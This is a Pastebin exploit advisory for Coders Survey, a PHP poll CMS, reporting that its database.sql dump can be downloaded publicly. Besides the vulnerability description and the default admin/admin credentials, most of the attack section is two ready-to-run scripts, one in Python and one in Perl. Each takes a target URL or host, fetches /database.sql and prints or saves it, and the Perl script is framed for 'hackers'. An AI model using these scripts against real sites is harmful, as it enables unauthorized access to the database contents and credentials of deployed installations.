SHARE
TWEET

Coders Survey 3.4.10 Database Disclosure Exploit

KingSkrupellos Apr 1st, 2019 134 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ###########################################################################
  2.  
  3. # Exploit Title : Coders Survey 3.4.10 Database Disclosure Exploit
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 02/04/2019
  7. # Vendor Homepage : coders-survey.com
  8. # Software Download Link : github.com/fortrabbit/coders-survey/archive/master.zip
  9. # Software Information Link : github.com/fortrabbit/coders-survey
  10. # Software Version : 3.4.10.1deb1 and other versions
  11. # Tested On : Windows and Linux
  12. # Category : WebApps
  13. # Exploit Risk : Medium
  14. # Vulnerability Type :
  15. CWE-200 [ Information Exposure ]
  16. CWE-538 [ File and Directory Information Exposure ]
  17. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  18. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  19. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  20. # Acunetix Information Link about => phpMyAdmin SQL dump Web Vulnerability
  21. acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/
  22.  
  23. ###########################################################################
  24.  
  25. # Description about Software :
  26. ***************************
  27. Coders Survey - A simple multiple choice poll CMS - Content Management System in PHP 5.4
  28.  
  29. The CMS features a creepy web based backend admin area to enter your questions and generate results.
  30.  
  31. ###########################################################################
  32.  
  33. # Impact :
  34. ***********
  35. * The product stores sensitive information in files or directories that are accessible
  36.  
  37. to actors outside of the intended control sphere.
  38.  
  39. * An information exposure is the intentional or unintentional disclosure of information
  40.  
  41. to an actor that is not explicitly authorized to have access to that information.
  42.  
  43. * phpMyAdmin is a free software tool written in PHP, intended to handle the administration of
  44.  
  45. MySQL over the World Wide Web. It can be used to dump a database or a collection of
  46.  
  47. databases for backup or transfer to another SQL server (not necessarily a MySQL server).
  48.  
  49. The dump typically contains SQL statements to create the table, populate it, or both.
  50.  
  51. This file contains an phpMyAdmin SQL dump. This information is highly sensitive and
  52.  
  53. should not be found on a production system.
  54.  
  55. Installation :
  56. ***********
  57. Download archive / clone git
  58. Install Slim framework via composer (cd your-project-dir; composer.phar install)
  59. Upload to your webserver
  60. Import the database.sql into your MySQL database
  61. Go to http://your-host/admin
  62. The default admin credentials are: User = admin, Password = admin
  63. Change the default login credentials
  64. Create pages, topics and options
  65.  
  66. Configuration :
  67. **************
  68. Rename the file "config.php.example" to "config.php" and replace the
  69. dummy values with your MySQL access credentials.
  70.  
  71. ###########################################################################
  72.  
  73. File :
  74. *****
  75. /coders-survey/database.sql
  76.  
  77. /database.sql
  78.  
  79. Information :
  80. ************
  81. -- phpMyAdmin SQL Dump
  82. -- version 3.4.10.1deb1
  83. -- phpmyadmin.net
  84. --
  85. -- Host: localhost
  86. -- Server version: 5.5.24
  87. -- PHP Version: 5.4.6-2~precise+1
  88.  
  89. -- Database: `coders_survey`
  90.  
  91. -- Table structure for table `survey_config`
  92.  
  93. -- Dumping data for table `survey_config`
  94.  
  95. -- Table structure for table `survey_item`
  96.  
  97. -- Dumping data for table `survey_item`
  98.  
  99. -- Table structure for table `survey_result`
  100.  
  101. -- Dumping data for table `survey_result`
  102.  
  103. -- Table structure for table `survey_walkthrough`
  104.  
  105. ###########################################################################
  106.  
  107. # Database Disclosure Information Exposure Exploit 1 :
  108. ***********************************************
  109. #!/usr/bin/python
  110. import string
  111. import re
  112. from urllib2 import Request, urlopen
  113. disc = "/database.sql"
  114. url = raw_input ("URL: ")
  115. req = Request(url+disc)
  116. rta = urlopen(req)
  117. print "Result"
  118. html = rta.read()
  119. rdo = str(re.findall("resources.*=*", html))
  120. print rdo
  121. exit
  122.  
  123. ###########################################################################
  124.  
  125. # Database Disclosure Information Exposure Exploit 2 :
  126. ***********************************************
  127. #!/usr/bin/perl -w
  128. # Author : KingSkrupellos
  129. # Team : Cyberizm Digital Security Army
  130.  
  131. use LWP::Simple;
  132. use LWP::UserAgent;
  133.  
  134. system('cls');
  135. system('Coders Survey 3.4.10.1deb1 Database Disclosure Exploit');
  136. system('color a');
  137.  
  138.  
  139. if(@ARGV < 2)
  140. {
  141. print "[-]How To Use\n\n";
  142. &help; exit();
  143. }
  144. sub help()
  145. {
  146. print "[+] usage1 : perl $0 site.com /path/ \n";
  147. print "[+] usage2 : perl $0 localhost / \n";
  148. }
  149. ($TargetIP, $path, $File,) = @ARGV;
  150.  
  151. $File="database.sql";
  152. my $url = "http://" . $TargetIP . $path . $File;
  153. print "\n Wait Please Dear Hacker!!! \n\n";
  154.  
  155. my $useragent = LWP::UserAgent->new();
  156. my $request = $useragent->get($url,":content_file" => "D:/database.sql");
  157.  
  158. if ($request->is_success)
  159. {
  160. print "[+] $url Exploited!\n\n";
  161. print "[+] Database saved to D:/database.sql\n";
  162. exit();
  163. }
  164. else
  165. {
  166. print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
  167. exit();
  168. }
  169.  
  170. ###########################################################################
  171.  
  172. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  173.  
  174. ###########################################################################
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top